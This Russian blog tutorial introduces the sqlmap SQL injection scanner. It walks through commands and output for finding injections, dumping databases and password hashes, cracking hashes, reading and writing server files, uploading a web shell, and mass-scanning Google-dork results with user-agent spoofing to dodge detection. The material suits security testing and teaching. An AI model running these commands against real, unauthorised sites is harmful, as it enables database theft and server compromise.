Sqlmap — сканер sql уязвимостей и не только

в 12:23, , рубрики: sqlmap, информационная безопасность, метки: , ,

Sqlmap — это программа с открытым исходным кодом, которая может стать отличным инструментом в руках пентестера. Главная задача сканера — автоматизированный поиск и эксплуатация sql уязвимостей. Sqlmap написан на python, а значит превосходно работает на большинстве современных операционных систем.

Программа обладает огромным функционалом, который поможет не только найти уязвимость, но и при совокупности некоторых факторов заполучить полный контроль над целевой машиной. Я постараюсь описать все возможности программы и привести наиболее интересные примеры работы с ней, а детально изучить утилиту вам поможет официальное пользовательское руководство.

Что умеет sqlmap:

Основные возможности:

  • Поддержка MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase и SAP MaxDB.
  • Поддержка следующих типов инъекций: boolean-based blind, time-based blind, error-based, UNION query и stacked queries.
  • Возможность подключиться к БД напрямую, используя логин, пароль, ip, порт и имя базы.
  • Работа с конкретным url, со списком целей из Burp proxy или WebScarab proxy, с текстовым файлом, содержащим HTTP запрос или же прямо из поисковой системы Google.
  • Тестирование всех параметров, передаваемых методами GET и POST, через cookie, в заголовках User-agent и Referer и попытка их эксплуатирования. Так же вы можете задать какой-то один определенный параметр(ы) для проверки.
  • Опциональная многопоточность, которая позволяет сильно ускорить проведение слепых инъекций, или же наоборот, ограничить количество запросов на определенный промежуток времени. Множество вариантов оптимизации для ускорения.
  • Возможность передавать cookie, что позволяет проходить авторизацию на тестируемом приложении или же тестировать cookie на sql уязвимости.
  • Принимать и хранить в сессии cookie, которые были установлены самим приложением, а так же пытаться их эксплуатировать. При желании можно игнорировать заголовок set-cookie.
  • Аунтефикация по протоколу HTTP basic, Digest, NTLM или с помощью сертификата.
  • Работа через прокси.
  • Возможность задать произвольные заголовки User-agent и Referer, или же выбрать User-agent случайно из текстового файла.
  • Возможность изменять уровень информативности выходных сообщений (всего 7 уровней).
  • Парсинг форм, находящихся по целевому адресу, с целью повторной отправки запроса на принимающий скрипт формы (action) и тестирование параметров формы.
  • Гибкость в настройки и использовании.
  • Расчетное время для каждого запроса, который обновляется в реальном времени и позволяет пентестеру знать, сколько времени потребуется для получения ответа.
  • Автоматически сохраняет сессии (запросы и ответы, даже частично полученные) в текстовом виде и в реальном времени. Это позволяет продолжить инъекцию или другое действие сразу же, после парсинга сессии и не повторять запросы на атакуемое приложение.
  • Возможность читать все параметры из текстового файла, а не вводить их в ручную каждый раз.
  • Поддержка репликации БД сервера на локальную БД sqlite3.
  • Обновление до актуальной версии из репозитория.
  • Парсинг ответов с целью найти и показать сообщения об ошибках БД.
  • Интеграция с другими инструментами для пентеста — Metasploit и w3af.

Возможности fingerprint (получения полезной информации о приложении и сервере):

  • Определение версии и наименования БД, а также операционной системы, на которой запущено приложение. Анализ основывается на сообщениях об ошибках, баннере сервиса, и способом сравнения. Вы можете задать имя используемой БД в ручную, если вы его знаете.
  • Программное обеспечение веб сервера и приложения.
  • Возможность получить баннер, получить информацию о текущей БД и ее пользователе, а также о привилегиях текущего пользователя.
  • Список пользователей БД, их привилегии, хэши паролей.
  • Автоматическое распознавание формата хэшей паролей и возможность прогнать их по словарю, который прилагается вместе с sqlmap.
  • Брут имен таблиц и столбцов. Это бывает полезным, когда у текущего пользователя нет доступа к системным таблицам или таких таблиц вообще нет.
  • Возможность сделать дамп таблиц целиком, определенных колонок. Возможно сделать дамп только определенный диапазон символов для каждого столбца.
  • Дамп всех БД целиком, с возможностью задать исключение.
  • Поиск конкретных таблиц или колонок во всех таблицах и баз данных. Это полезно для поиска таблиц с пользователями или паролями.
  • Возможность вызвать интерактивный sql клиент, который позволит вам выполнять произвольные запросы к БД вручную. Sqlmap сам побеспокоится о том, чтобы упаковать ваш запрос и выполнить его через найденную уязвимость.

Возможности расширения контроля над системой:

  • Возможность скачивать файлы с сервера, при условии, что в качестве бэкенда используется MySQL, PostgeSQL или Microsoft SQL Server. Разумеется, для этих операций пользователь БД должен иметь особые привилегии и права на запись/чтение нужного файла.
  • Выполнение произвольных команд на системе с получением их вывода, при условии, что используются MySQL, PostgeSQL или Microsoft SQL Server.
  • Создание tcp подключения к серверу с помощью интерактивной командной строки или VNC.
  • Доступ к реестру windows (Чтение, вставка, удаление).

Я перечислил практически все возможности этого замечательного сканера. Теперь я хочу показать несколько практических примеров, благодаря которым вы наглядно увидите работу сканера, а также познакомитесь с некоторыми параметрами.

Основы работы:

В самом простом варианте sqlmap можно запустить так:

python sqlmap.py -u http://sitefortest.kz/index.php?id=17

Этого будет достаточно для того, чтобы sqlmap начал свою тяжелую работу. Как можно легко догадаться, ключ -u задает адрес нашей цели. Сканер произведет запрос по заданному урл и будет анализировать все параметры, которые
мы указали в ссылке (id=17). Но давайте добавим немного полезных фич:

python sqlmap.py -u http://sitefortest.kz/index.php?id=17 --data="p1=17&p2=0" --random-agent --cookie="PHPSESSID=6993b496e105a565b2b659bbf7751c41" --auth-type Basic --auth-cred "user:password" --threads 3 --os="Linux"

Рассмотрим все параметры, используемые в этом запросе:

  • --data=«p1=17&p2=0» — мы отправили еще два параметра методом POST. Теперь sqlmap протестирует и их тоже.
  • --random-agent — Вместо дефолтного юзерагента будет случайным образом выбран правдоподобный. Список юзерагентов лежит в файле txt/user-agents.txt. Это очень полезно, когда надо обойти простенькую IDS или же при работе через гугл, который будет банить нас, если заметит дефолтный юзерагент sqlmap.
  • --cookie=«PHPSESSID=6993b496e105a565b2b659bbf7751c41» — передаем нашу php сессию, которая хранится в файлах cookie.
  • --auth-type Basic — указываем, что на сервере потребуется Basic аунтефикация.
  • --auth-cred «user:password» — и передаем данные для авторизации: логин и пароль.
  • --threads 3 — выполнять 3 запроса параллельно.
  • --os=«Linux» — Когда мы точно знаем, какая ОС используется на сервере, ее лучше указать, чтобы облегчить работу sqlmap. Но вы должны быть уверены на 100%, иначе sqlmap пойдет по ложному следу.

Теперь посмотрим на работу нашего сканера. Я немного обрезал вывод и оставил лишь самое интересное, при этом дополнив комментариями (/**/).:

[*] starting at: 04:04:35
[04:04:35] [INFO] using
'/home/lirvux/work/hack/sqlmap/output/www.sitefortest.kz/session' as session file
[04:04:35] [INFO] testing connection to the target url
[04:04:37] [INFO] testing NULL connection to the target url
[04:04:39] [WARNING] the testable parameter 'id' you provided is not into
the Cookie
[04:04:39] [INFO] testing if the url is stable, wait a few seconds
— — [04:04:41] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and
provide a string or regular expression to match on
how do you want to proceed? [©ontinue/(s)tring/®egex/(q)uit] c
/*Sqlmap сообщает, что ссылка не является стабильной и предупреждает нас о том,
* что для сравнения результатов запросов ему возможно потребуется задать строку
* (s) или регулярное выражение ®, по которому он сможет оринтироваться. Но
* можно попытаться и без этого, выбрав продолжить ©*/

[04:06:22] [INFO] heuristic test shows that GET parameter 'id' might be
injectable (possible DBMS: MySQL)
/*sqlmap предположил, что в качестве бекенда используется MySQL*/
[04:06:22] [INFO] testing sql injection on GET parameter 'id'
[04:06:22] [INFO] testing 'AND boolean-based blind — WHERE or HAVING clause'
[04:06:28] [INFO] testing 'MySQL >= 5.0 AND error-based — WHERE or HAVING
clause'
[04:06:28] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based — WHERE or HAVING clause' injectable
[04:06:28] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[04:06:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[04:06:35] [INFO] testing 'MySQL UNION query (NULL) — 1 to 10 columns'
[04:06:39] [INFO] testing 'Generic UNION query (NULL) — 1 to 10 columns'
GET parameter 'id' is vulnerable. Do you want to keep testing the others?
[y/N] y
/*Проведя некоторые тесты нам удалось узнать, что параметр id уязвим. Мы
* можем продолжить анализировать другие параметры (y) или же начать
* эксплуатировать найденную уязвимость (N)*/

sqlmap identified the following injection points with a total of 33 HTTP(s)
requests:
— Place: GET
Parameter: id
Type: error-based
Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause
Payload: &id=51 AND (SELECT 4188 FROM(SELECT COUNT(*),CONCAT(CHAR(58,100,115,116,58),(SELECT (CASE WHEN (4188=4188) THEN 1 ELSE 0 END)),CHAR(58,108,116,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
/*Выше мы видим запрос, который сформировал sqlmap, а ниже видим информацию о
* БД и сервере, которую sqlmap смог получить для нас*/

[04:06:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.10 (Maverick Meerkat)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL 5.0
[04:06:53] [INFO] Fetched data logged to text files under '/home/lirvux/work/hack/sqlmap/output/sitefortest.kz'
[*] shutting down at: 04:06:53<

Вот так все легко и просто. Теперь давайте получим больше информации о системе и узнаем, какими же правами мы обладаем:

python sqlmap -u http://sitefortest.kz/index.php?id=17 --current-user --current-db -b --users --privileges --passwords

Так как мы уже нашли инъекцию, мы можем не указывать лишние параметры для их поиска, но такие, как юзерагент или данные для авторизации необходимо указывать при каждом запросе (ну или писать их в конфигурационном файле sqlmap.conf). Я же их опустил для простоты.

  • --current-user — текущий пользователь, который работает с БД .
  • --current-db — текущая база данных.
  • -b — запрос на баннер.
  • --users — список всех пользователей БД (при условии, что у нас есть права на его чтение)
  • --priviliges — привилегии пользователей БД
  • --password — хэши паролей пользователей БД

Вот такой ответ даст нам sqlmap:

[*] starting at: 04:37:39
— — [04:37:42] [INFO] fetching banner
banner: '5.1.49-1ubuntu8'
[04:37:42] [INFO] fetching current user
current user: 'root@localhost'
[04:37:42] [INFO] fetching current database
current database: 'online_test_ped'
[04:37:42] [INFO] fetching database users
database management system users [5]:
[*] 'debian-sys-maint'@'localhost',
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'sitefortest'
[*] 'test'@'localhost'
/*Мы поулчили инфомрацию о текущей БД и пользователе, а также узнали всех
* доступных пользователей*/

[04:37:42] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
/*sqlmap обнаружил хэши и предлагает нам устроить перебор по словарю (y). Мы
* конечно же соглашаемся*/

[04:37:57] [INFO] using hash method: 'mysql_passwd'
what's the dictionary's location? [/home/lirvux/work/hack/sqlmap/txt/wordlist.txt]
[04:37:58] [INFO] loading dictionary from: '/home/lirvux/work/hack/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[04:38:08] [INFO] starting dictionary attack (mysql_passwd)
[04:39:50] [WARNING] no clear password(s) found
/*Sqlmap определил, что пароли зашифрованы методом mysql_passwd и предложил
* выбрать словарь для перебора. Мы выбрали дефолтный, но, к сожалению, ничего не
* подобрали*/

database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *991A58143C8199F3CB137310E29F3AAB57203690
[*] root [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[*] test [1]:
password hash: *FC71B0CE88CB1D245D3C488493EAC8228373FBFE
[04:39:50] [INFO] fetching database users privileges
database management system users privileges:
[*] 'debian-sys-maint'@'localhost' (administrator) [27]:
privilege: ALTER
privilege: ALTER ROUTINE
— — privilege: CREATE ROUTINE
privilege: CREATE TEMPORARY TABLES
/*И наконец мы получили список привелегий всех пользователей. Я его обрезал, так
* как он слишком длинный*/

Неплохо! Теперь попробуем просмотреть содержимое какой-нибудь БД. Для этого пригодятся следующие параметры:

  • --dbs — Покажет список всех БД.
  • --tables — Список всех таблиц во всех БД.
  • -D NAME_DB --tables — отобразит список таблиц внутри базы данных NAME_DB.
  • -D NAME_DB -T NAME_TABLE --columns — покажет нам список колонок таблицы NAME_TABLE из БД NAME_DB.
  • --dump — Сделать дамп содержимого указанной таблицы или БД.
  • --dump-all — Сделает дамп всех БД и их таблиц. Может занять очень много времени.
  • --exclude-sysdbs — Указывает не выполнять дамп системных таблиц (information_schema и т.п.).
  • --start=LIMITSTART и --stop=LIMITSOP действуют аналогично LIMIT LIMITSTART,LIMITSTOP в mysql. Они позволяют сделать дамп не всей таблицы, а определенной части. Правда здесь отсчет начинается не с 0, а с 1.

Пример:
python sqlmap http://sitefortest.kz/index.php?id=17 --dump -D site -T users --start=5 --stop=10

Таким образом, в файле output/sutefortest.kz/dump/site.users будет находиться дамп таблицы пользователей, начиная с 5 строчки и заканчивая 10. Ну и конечно же, дамп будет выведен в терминал. Если в каком-либо поле встретится хэш, то sqlmap, как обычно, предложит нам провести атаку по словарю.

Повышение контроля

Параметры, которые позволят нам скачивать и заливать файлы:

  • --file-read="/FULL/PATH/FILE" — если у вас хватит привелегий, а пользователю, от которого запущен демон БД разрешено чтение этого файла, то вы сможете найти выкачанный файл здесь — output/sitefortest.kz/files/_FULL_PATH_FILE.
  • --file-write="/LOCAL/PATH/MYFILE" --file-dist="/REMOTE/PATH/SHELL" — При наличии соответствующих прав, файл /LOCAL/PATH/MYFILE (который находится на нашем компьютере) будет залит в удаленный каталог сервера /REMOTE/PATH/ и будет называться SHELL.

Если нашей целью является залить простенький веб шел, то нам даже не надо указывать файлы, а достаточно указать параметр --os-shell, который все сделает за нас.

Массовые инъекции через гугл (Google Dork)

Sqlmap позволяет нам тестировать сайты, прямо из поисковой выдачи гугла.
Например, вот так:

python sqlmap -g "inurl:?lesson=1" --beep --page-rank --gpage=10 --random-agent

  • -g «inurl:?lesson=1» — Задает поисковой запрос для гугла, по которому мы будем искать сайты с потенциальными уязвимостями.
  • --beep — заставит sqlmap уведомлять нас с помощью спикера о каждой найденной уязвимости.
  • --page-rank — Выведет Page Rank страницы, которую мы тестируем. Это может пригодиться для не очень хороших делишек.
  • --gpage=10 — указываем с какой страницы поисковой выдачи брать сайты. По умолчанию парсится 1 страница.
  • --random-agent — в данном случае является обязательным параметром, так как без него гугл не пустит нас к поиску, поняв, что его производит не человек, а sqlmap.

На этом я закончу. Надеюсь, данная статья поможет вам поближе познакомиться с этой великолепной программой и облегчит ее дальнейшее изучение. Главное не стоит забывать, что наличие инструмента — это не главное. Очень важно понимать, как работает инструмент и использовать его лишь в качестве автоматизации рутины, а не в качестве замены собственного ума.

При написании данной статьи было использовано официальное пользовательское руководство. Настоятельно рекомендую прочесть его всем, кто заинтересовался этим сканером. К сожалению, оно на английском, но я планирую в ближайшем будущем сделать перевод. Если у вас есть какие-либо вопросы по работе с sqlmap, то я буду рад на них ответить.

Автор: lirvux

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js